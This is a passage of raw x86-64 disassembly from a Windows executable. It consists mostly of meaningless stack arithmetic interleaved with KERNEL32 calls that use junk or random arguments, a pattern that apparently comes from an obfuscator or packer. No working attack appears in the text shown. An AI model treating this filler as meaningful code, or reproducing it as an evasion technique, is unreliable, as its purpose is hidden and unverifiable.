mov qword [rsp + 0x13e38], rax
mov rax, qword [rsp + 0x133f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x86a8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xaa5c], eax
movzx eax, byte [rsp + 0x6b8]
mov rcx, qword [rsp + 0x13e10]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x6ce], al
mov rax, qword [0x140363a40]
movzx eax, word [rax]
mov word [0x140362c44], ax
mov rax, qword [rsp + 0x13820]
mov eax, dword [rax]
mov dword [rsp + 0xab24], eax
mov rax, qword [rsp + 0x13c20]
mov rcx, qword [rsp + 0x13550]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6788], eax
lea rax, [rsp + 0x7b30]
mov qword [rsp + 0x13e40], rax
mov eax, dword [rsp + 0xaad4]
movzx ecx, al
mov eax, dword [rsp + 0xaa44]
shl eax, cl
mov rcx, qword [rsp + 0x13db0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x136e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13060]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x133e0]
mov byte [rcx], al
mov rax, qword [rsp + 0x132f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x251c]
xor eax, ecx
mov word [rsp + 0x2554], ax
movsx eax, byte [rsp + 0x6b0]
movsx ecx, byte [rsp + 0x6cc]
cdq
idiv ecx
mov rcx, qword [rsp + 0x13560]
mov byte [rcx], al
lea rax, [rsp + 0x2a3c]
mov qword [rsp + 0x13e48], rax
mov rax, qword [rsp + 0x13358]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x99e8]
and ecx, eax
mov eax, ecx
mov dword [0x14035cc1c], eax
mov rax, qword [rsp + 0x13610]
mov rcx, qword [rsp + 0x13cb0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x135d8]
mov dword [rcx], eax
lea rax, [rsp + 0x23c]
mov qword [rsp + 0x13e50], rax
mov r9d, 0x1ce0
xor r8d, r8d
lea rdx, [rsp + 0x13298]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0xa9c4], eax
mov rax, qword [rsp + 0x13de0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x137e0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x12b8], ax
mov rax, qword [rsp + 0x13a48]
mov ecx, dword [rsp + 0xa9b4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x765c], eax
mov eax, dword [0x140363a20]
mov dword [rsp + 0xab28], eax
mov rax, qword [rsp + 0x13b08]
mov ecx, dword [rsp + 0x7410]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x99e4], eax
mov eax, dword [rsp + 0xa9e0]
mov ecx, dword [rsp + 0xa32c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x80c8], eax
mov rax, qword [rsp + 0x13758]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x29dc]
add eax, ecx
mov rcx, qword [rsp + 0x12fa8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x23b]
movzx ecx, byte [rsp + 0x6c9]
sub eax, ecx
mov byte [0x14035e4a4], al
mov eax, dword [rsp + 0xab20]
mov ecx, dword [rsp + 0x965c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13a78]
mov dword [rcx], eax
lea rax, [rsp + 0xa32c]
mov qword [rsp + 0x13e58], rax
mov rax, qword [rsp + 0x13090]
mov rcx, qword [rsp + 0x13a68]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13728]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13550]
mov eax, dword [rax]
mov dword [rsp + 0xab2c], eax
mov rax, qword [rsp + 0x132d0]
mov eax, dword [rax]
mov ecx, dword [0x1403639b8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6b2c], eax
mov rax, qword [rsp + 0x13810]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x136a0]
movsx ecx, byte [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x13a70]
mov byte [rcx], al
lea rax, [0x140353b08]
mov qword [rsp + 0x13e60], rax
mov rax, qword [rsp + 0x13788]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13e10]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x133e0]
mov byte [rcx], al
mov rax, qword [rsp + 0x13778]
movzx eax, word [rax]
mov word [0x140362cdc], ax
lea rax, [rsp + 0xa948]
mov qword [rsp + 0x13e68], rax
mov rax, qword [rsp + 0x13ca0]
mov ecx, dword [rsp + 0xaa44]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xaafc], eax
mov rax, qword [rsp + 0x137b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6b1]
sar eax, cl
mov byte [rsp + 0x6b4], al
movzx eax, word [rsp + 0x23cc]
mov word [rsp + 0x2ac4], ax
mov rax, qword [0x140363b60]
mov rcx, qword [rsp + 0x13c60]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa930], eax
lea rax, [rsp + 0x965c]
mov qword [rsp + 0x13e70], rax
mov eax, dword [rsp + 0xaae0]
mov ecx, dword [rsp + 0x7114]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x133d0]
mov dword [rcx], eax
movzx ecx, word [rsp + 0x29e0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2ac8], ax
mov rax, qword [0x140363ad0]
mov rcx, qword [rsp + 0x13e38]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x67e4], eax
mov rax, qword [rsp + 0x138a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x328]
or eax, ecx
mov rcx, qword [0x140363980]
mov byte [rcx], al
mov rax, qword [0x140363b00]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13948]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x12fe8]
mov word [rcx], ax
mov eax, dword [rsp + 0x9e80]
mov ecx, dword [rsp + 0xa8e4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xaadc], eax
lea rax, [rsp + 0x6bc0]
mov qword [rsp + 0x13e78], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
mov rax, qword [0x140363a08]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x13560]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x6c8], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa8e0], eax
lea rax, [rsp + 0x11cc]
mov qword [rsp + 0x13e80], rax
movzx ecx, word [rsp + 0x29e8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2a24], ax
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13870]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x22a], al
mov rax, qword [rsp + 0x132b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x298c]
sub eax, ecx
mov word [rsp + 0x29b4], ax
lea rax, [rsp + 0xab0c]
mov qword [rsp + 0x13e88], rax
mov eax, dword [rsp + 0x9784]
mov dword [0x140363b44], eax
mov eax, dword [0x14035cbf0]
mov ecx, dword [rsp + 0x6fe8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xaa58], eax
lea rax, [rsp + 0xaa90]
mov qword [rsp + 0x13e90], rax
mov rax, qword [rsp + 0x13a48]
mov rcx, qword [rsp + 0x13970]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x136e0]
mov dword [rcx], eax
mov rax, qword [0x140363980]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6c1]
add eax, ecx
mov byte [rsp + 0x6b8], al
lea rax, [rsp + 0x2888]
mov qword [rsp + 0x13e98], rax
mov eax, dword [rsp + 0xa32c]
mov rcx, qword [rsp + 0x13a60]
mov qword [rsp + 0x13ea0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13ea0]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x13658]
mov dword [rcx], eax
mov rax, qword [0x140363b10]
mov eax, dword [rax]
mov dword [rsp + 0xab30], eax
mov rax, qword [rsp + 0x13b18]
mov ecx, dword [rsp + 0x6554]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x920c], eax
mov eax, dword [rsp + 0xa95c]
mov rcx, qword [rsp + 0x137e8]
mov qword [rsp + 0x13ea8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13ea8]
mov eax, dword [rax]
shl eax, cl
mov dword [0x140363b40], eax
movzx eax, byte [rsp + 0x328]
mov rcx, qword [rsp + 0x13630]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x13650]
mov byte [rcx], al
lea rcx, [rsp + 0x41bc8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx eax, word [rsp + 0x2a18]
movzx ecx, word [rsp + 0x184c]
and eax, ecx
mov word [rsp + 0x144c], ax
mov rax, qword [rsp + 0x13618]
movsx eax, word [rax]
mov rcx, qword [0x140363a48]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1784], ax
lea rax, [rsp + 0x6b2]
mov qword [rsp + 0x13eb0], rax
mov rax, qword [rsp + 0x13808]
mov rcx, qword [rsp + 0x13cf0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13ba0]
mov dword [rcx], eax
lea rax, [rsp + 0x6b2c]
mov qword [rsp + 0x13eb8], rax
movzx eax, word [rsp + 0x251c]
movzx ecx, word [rsp + 0x21e4]
or eax, ecx
mov word [rsp + 0x2a84], ax
movzx eax, byte [rsp + 0x6cf]
mov rcx, qword [rsp + 0x13530]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x136e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x13af8]
mov rcx, qword [rsp + 0x134c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [0x140363a78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13df0]
mov eax, dword [rax]
mov dword [rsp + 0xab34], eax
mov rax, qword [rsp + 0x13d58]
mov rcx, qword [rsp + 0x13840]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13d00]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f40]
mov eax, dword [rax]
mov dword [rsp + 0xab38], eax
movzx eax, word [rsp + 0x26a8]
mov rcx, qword [rsp + 0x13398]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2a7c], ax
mov rax, qword [rsp + 0x13a18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6b4]
add eax, ecx
mov byte [rsp + 0x328], al
lea rax, [0x14035cbe8]
mov qword [rsp + 0x13ec0], rax
mov rax, qword [rsp + 0x13bd0]
mov rcx, qword [rsp + 0x13628]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x139e8]
mov dword [rcx], eax
lea rax, [rsp + 0xa868]
mov qword [rsp + 0x13ec8], rax
lea rax, [rsp + 0x92fc]
mov qword [0x140363b70], rax
mov eax, dword [rsp + 0xa984]
movzx ecx, al
mov eax, dword [0x140363b40]
sar eax, cl
mov dword [rsp + 0xa9f0], eax
movsx eax, word [rsp + 0x235c]
mov rcx, qword [rsp + 0x13618]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x135b8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x628]
mov rcx, qword [rsp + 0x13d28]
movsx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x4ff], al
mov rax, qword [rsp + 0x139b0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6be]
or eax, ecx
mov byte [rsp + 0x6b8], al
lea rax, [rsp + 0x2a88]
mov qword [rsp + 0x13ed0], rax
mov rax, qword [rsp + 0x136b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaa90]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xab0c], eax
lea rax, [rsp + 0xa350]
mov qword [rsp + 0x13ed8], rax
mov rax, qword [rsp + 0x13e10]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6b4]
add eax, ecx
mov byte [rsp + 0x6c6], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xaac4], eax
movzx eax, word [0x140362cdc]
movzx ecx, word [rsp + 0x2484]
add eax, ecx
mov word [0x140362b7c], ax
mov rax, qword [rsp + 0x13898]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x965c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13a80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13dd0]
mov eax, dword [rax]
mov dword [rsp + 0xab3c], eax
mov rax, qword [rsp + 0x138a8]
mov rcx, qword [rsp + 0x13cb0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x12f20]
mov dword [rcx], eax
lea rdx, [rsp + 0x13a08]
mov rcx, qword [rsp + 0x13c70]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xaad0], eax
lea rax, [rsp + 0xa7d0]
mov qword [rsp + 0x13ee0], rax
movzx eax, word [rsp + 0x1a2c]
movzx ecx, word [rsp + 0x2a54]
or eax, ecx
mov rcx, qword [rsp + 0x13398]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xab40], eax
mov rax, qword [rsp + 0x13598]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x139b0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x12f38]
mov byte [rcx], al
lea rax, [rsp + 0x96e4]
mov qword [rsp + 0x13ee8], rax
mov rax, qword [rsp + 0x13bd0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa8d4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x71c4], eax
mov rax, qword [rsp + 0x13b58]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x13b88]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x14035cc20], ax
lea rax, [rsp + 0x6b6]
mov qword [rsp + 0x13ef0], rax
mov rax, qword [rsp + 0x132f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x29b4]
add eax, ecx
mov word [rsp + 0x298c], ax
lea rdx, [rsp + 0x45cb0]
mov rcx, qword [rsp + 0x13b50]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa940], eax
mov rax, qword [rsp + 0x13530]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x139b0]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x139e0]
mov byte [rcx], al
lea rax, [rsp + 0xaa20]
mov qword [rsp + 0x13ef8], rax
lea rcx, str.ZgQ_CjyY3f7X
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2aac], ax
mov eax, dword [0x14035cc10]
mov rcx, qword [rsp + 0x13820]
mov qword [rsp + 0x13f00], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13f00]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x12f90]
mov dword [rcx], eax
lea rax, [rsp + 0xaa7c]
mov qword [rsp + 0x13f08], rax
mov eax, dword [rsp + 0x7410]
movzx ecx, al
mov eax, dword [rsp + 0xaaa8]
shl eax, cl
mov dword [rsp + 0x7200], eax
mov rax, qword [0x1403639a0]
mov ecx, dword [rsp + 0xa90c]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x13478]
mov dword [rcx], eax
movzx eax, word [rsp + 0x1a6c]
mov rcx, qword [rsp + 0x13480]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1008], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.7csiHwk4cwy1lEnpDLPT1qF6rogWIBTalbHq2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x13f10], rax
lea rax, [rsp + 0xb4]
mov qword [0x140363b78], rax
mov rax, qword [rsp + 0x13248]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaa44]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x874c], eax
lea rax, [rsp + 0xa978]
mov qword [rsp + 0x13f18], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa7c8], eax
mov dword [rsp + 0x20], 0x14c5
mov r9d, 0xf63
mov r8d, 0x1d4c
mov edx, 0x24ca
mov rcx, qword [rsp + 0x13d48]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0xa918], eax
mov rax, qword [rsp + 0x132e0]
mov ecx, dword [rsp + 0xaaa0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa984], eax
mov eax, dword [rsp + 0x7a24]
mov dword [rsp + 0xab44], eax
mov rax, qword [rsp + 0x13ae8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a18]
sub eax, ecx
mov rcx, qword [rsp + 0x134d8]
mov word [rcx], ax
lea rcx, str.JL641Q
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2acc], ax
movzx eax, byte [rsp + 0x6c6]
movzx ecx, byte [rsp + 0x6be]
and eax, ecx
mov rcx, qword [rsp + 0x13468]
mov byte [rcx], al
mov r9d, 0x1c2f
xor r8d, r8d
lea rdx, [rsp + 0x13580]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0xaa94], eax
movsx eax, word [0x140362bf4]
movsx ecx, word [rsp + 0x2a04]
sub eax, ecx
mov word [rsp + 0x169c], ax
lea rcx, [rsp + 0x41a18]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa994], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x13ef0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6bf]
imul eax, ecx
mov byte [rsp + 0x6c8], al
mov dword [rsp + 0x20], 0x2590
mov r9d, 0x26b5
mov r8d, 0x297d
mov edx, 0x3f2f
mov rcx, qword [rsp + 0x13c70]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0xa9d0], eax
mov eax, dword [0x14035cc1c]
mov dword [0x140363b80], eax
mov rax, qword [rsp + 0x139c8]
mov eax, dword [rax]
mov dword [rsp + 0xab48], eax
lea rdx, [rsp + 0x45d58]
mov rcx, qword [rsp + 0x12ee8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xaa9c], eax
movzx eax, byte [rsp + 0x42a]
movzx ecx, byte [rsp + 0x22a]
or eax, ecx
mov byte [rsp + 0x6c3], al
mov rax, qword [rsp + 0x138c0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a30]
add eax, ecx
mov word [rsp + 0x29a0], ax
lea rax, [rsp + 0xa9ec]
mov qword [rsp + 0x13f20], rax
mov rax, qword [rsp + 0x12f40]
mov ecx, dword [rsp + 0xa2a4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xaa44], eax
lea rax, [rsp + 0x8428]
mov qword [rsp + 0x13f28], rax
mov rax, qword [rsp + 0x13328]
mov rcx, qword [rsp + 0x13d00]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9564], eax
mov rax, qword [rsp + 0x13788]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13888]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x594], al
mov rax, qword [rsp + 0x13500]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1008]
xor eax, ecx
mov word [0x14035cbf4], ax
lea rax, [rsp + 0x64f0]
mov qword [rsp + 0x13f30], rax
mov eax, dword [rsp + 0x6bc0]
movzx ecx, al
mov eax, dword [rsp + 0xa9b4]
sar eax, cl
mov dword [rsp + 0xa984], eax
lea rax, [rsp + 0x92fc]
mov qword [rsp + 0x13f38], rax
mov rcx, qword [rsp + 0x13600]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [0x1403639f8]
mov rcx, qword [rsp + 0x13660]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa884], eax
mov eax, dword [rsp + 0xa7d4]
mov dword [rsp + 0xab4c], eax
mov rax, qword [rsp + 0x13560]
movsx eax, byte [rax]
mov rcx, qword [0x140363a90]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x13ab8]
mov byte [rcx], al
mov rax, qword [rsp + 0x13618]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1f1c]
and eax, ecx
mov word [rsp + 0x2ab4], ax
lea rax, [rsp + 0x6b5]
mov qword [rsp + 0x13f40], rax
movzx ecx, word [rsp + 0x2988]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2acc], ax
mov rax, qword [rsp + 0x134d8]
movzx eax, word [rax]
mov rcx, qword [0x140363a40]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x140362bb4], ax
mov rax, qword [rsp + 0x133b0]
mov rcx, qword [rsp + 0x13b78]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7c88], eax
mov r9d, 0x21fc
xor r8d, r8d
lea rdx, [rsp + 0x13de8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0xab50], eax
mov rax, qword [rsp + 0x13c78]
mov rcx, qword [rsp + 0x13e68]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9c08], eax
movzx eax, word [rsp + 0x29a8]
mov rcx, qword [rsp + 0x13420]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x26a8], ax
mov rax, qword [rsp + 0x13568]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6c1]
and eax, ecx
mov rcx, qword [rsp + 0x13410]
mov byte [rcx], al
mov eax, dword [rsp + 0x9564]
mov dword [rsp + 0xab54], eax
mov rax, qword [rsp + 0x13790]
mov eax, dword [rax]
mov ecx, dword [0x14035cc1c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13b78]
mov dword [rcx], eax
xor r9d, r9d
lea r8, [rsp + 0x133a8]
mov rdx, qword [rsp + 0x13268]
mov rcx, qword [rsp + 0x13310]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xab14], eax
lea rax, [rsp + 0xa900]
mov qword [rsp + 0x13f48], rax
mov rax, qword [rsp + 0x13cd0]
mov ecx, dword [0x140363960]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa884], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0x1778]
mov qword [0x140363b88], rax
movzx eax, byte [rsp + 0x6c4]
mov rcx, qword [rsp + 0x13740]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x138a0]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xab40], eax
mov eax, dword [rsp + 0xa97c]
movzx ecx, al
mov eax, dword [rsp + 0x898c]
shl eax, cl
mov dword [rsp + 0x6ae4], eax
mov rax, qword [rsp + 0x13d80]
mov rcx, qword [rsp + 0x13df0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa900], eax
movzx eax, byte [rsp + 0x4ff]
mov byte [rsp + 0x6d0], al
movsx eax, word [rsp + 0x2a2c]
mov rcx, qword [0x140363af8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x29c4], ax
movzx eax, word [rsp + 0x12b8]
mov rcx, qword [rsp + 0x138c0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13a20]
mov word [rcx], ax
movzx eax, byte [rsp + 0x166]
mov byte [rsp + 0x6d1], al
mov eax, dword [rsp + 0xaadc]
mov ecx, dword [rsp + 0xaa98]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xaaac], eax
mov rax, qword [rsp + 0x13ee8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaa1c]
add ecx, eax
mov eax, ecx
mov dword [0x14035cc24], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov rax, qword [0x140363b60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8fdc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9688], eax
mov eax, dword [rsp + 0xa8e4]
mov ecx, dword [rsp + 0x70b8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7dfc], eax
movzx ecx, word [rsp + 0x2a4c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2a48], ax
lea rax, [rsp + 0x7410]
mov qword [rsp + 0x13f50], rax
movzx eax, byte [rsp + 0x6c6]
movzx ecx, byte [0x14035e4d4]
sub eax, ecx
mov rcx, qword [rsp + 0x138a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x13480]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13758]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x135d0]
mov word [rcx], ax
mov eax, dword [rsp + 0xaabc]
mov dword [rsp + 0xab58], eax
mov rax, qword [rsp + 0x13450]
mov ecx, dword [rsp + 0xa8d0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13dd8]
mov dword [rcx], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.ISlyWSzN_bTQwezHbRew1LRSENu01
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x13f58], rax
lea rdx, [rsp + 0x45c78]
mov rcx, qword [rsp + 0x13f10]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa7c4], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa9a8], eax
mov rax, qword [rsp + 0x133a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xab58]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6f4c], eax
mov rax, qword [rsp + 0x139f0]
mov rcx, qword [rsp + 0x13508]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [0x1403639d8]
mov dword [rcx], eax
mov rax, qword [0x140363b30]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2ac4]
sar eax, cl
mov rcx, qword [rsp + 0x13ed0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x68e]
movzx ecx, byte [rsp + 0x6b9]
shl eax, cl
mov byte [rsp + 0x6c9], al
mov rax, qword [rsp + 0x132e8]
movzx eax, byte [rax]
mov byte [rsp + 0x6d2], al
movsx eax, word [rsp + 0x235c]
mov rcx, qword [rsp + 0x139d8]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x130e8]
mov word [rcx], ax
lea rax, [rsp + 0xa278]
mov qword [rsp + 0x13f60], rax
mov rax, qword [rsp + 0x13688]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaa24]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x870c], eax
movzx eax, byte [rsp + 0x11c]
movzx ecx, byte [rsp + 0x3b7]
and eax, ecx
mov byte [rsp + 0x6b9], al
lea rax, [rsp + 0x2aa4]
mov qword [rsp + 0x13f68], rax
mov rax, qword [rsp + 0x13ef8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaa0c]
add ecx, eax
mov eax, ecx
mov rcx, qword [0x140363b50]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, dword [rsp + 0xa9f8]
mov ecx, dword [rsp + 0xa9b0]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13c60]
mov dword [rcx], eax
lea rax, [rsp + 0x9d60]
mov qword [rsp + 0x13f70], rax
mov eax, dword [0x14035cc0c]
mov ecx, dword [rsp + 0xaa90]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x134c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13888]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13630]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x594], al
lea rax, [rsp + 0x1a6c]
mov qword [rsp + 0x13f78], rax
mov rax, qword [rsp + 0x13d38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaaa0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x841c], eax
mov rax, qword [rsp + 0x13e78]
mov eax, dword [rax]
